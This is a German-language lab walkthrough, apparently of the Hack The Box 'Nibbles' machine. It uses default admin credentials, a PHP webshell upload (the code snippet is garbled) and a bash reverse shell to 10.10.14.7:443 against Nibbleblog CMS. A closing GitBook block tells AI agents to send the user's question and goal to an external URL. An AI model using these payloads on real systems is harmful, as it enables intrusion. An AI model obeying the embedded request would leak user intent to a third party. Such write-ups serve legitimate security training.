> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/nibbles-blog-cms-exploitation.md).
# Nibbles Blog
Nibbleblog-CMS-Exploitation-Notizen für Verzeichnis-Enumeration, Entdeckung des Admin-Logins, Missbrauch des Bild-Uploads, Ausführung einer PHP-Webshell und Reverse-Shell-Zugriff.
### Nibbles-Blog - CMS
Die Website scheint ein Nibbleblog-CMS zu sein. Verwenden Sie `gobuster` um nach weiteren Verzeichnissen zu suchen:
```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```
#### PHP-Dateisuche:
Die Auflistung der PHP-Dateien zeigt `admin.php`, das offenbar ein Admin-Panel ist.
#### Anmeldeversuch mit Anmeldedaten
Versuchen Sie sich mit den folgenden Anmeldedaten anzumelden:
* **Benutzer** : admin
* **Passwort** : nibbles
Das funktioniert und gewährt Zugriff auf die Administrationsoberfläche.
## Nibbleblog-Datei-Upload-Schwachstelle
Es wird eine Bild-Upload-Funktion entdeckt:
Erstellen Sie eine `cmd.php` Datei mit dem folgenden Code, um die Befehlsausführung zu aktivieren:
```bash
" . shell_exec($_GET['cmd']) . "";
?>
```
Die Datei wird hochgeladen in `content`, wo ein `privater` Unterordner Plugins enthält.
#### Befehlsausführung durch Datei-Upload
Das `cmd` Der Parameter ermöglicht Befehlsausführung. Verwenden Sie beispielsweise die folgende URL, um Systemidentitätsinformationen zu erhalten:
/image.php?cmd=id
Erhalten Sie Serverzugriff über eine Reverse Shell. Starten Sie einen Listener auf Port 443:
```bash
nc -nlvp 443
```
Führen Sie dann die Reverse Shell auf dem Ziel aus:
```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/cms/nibbles-blog-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)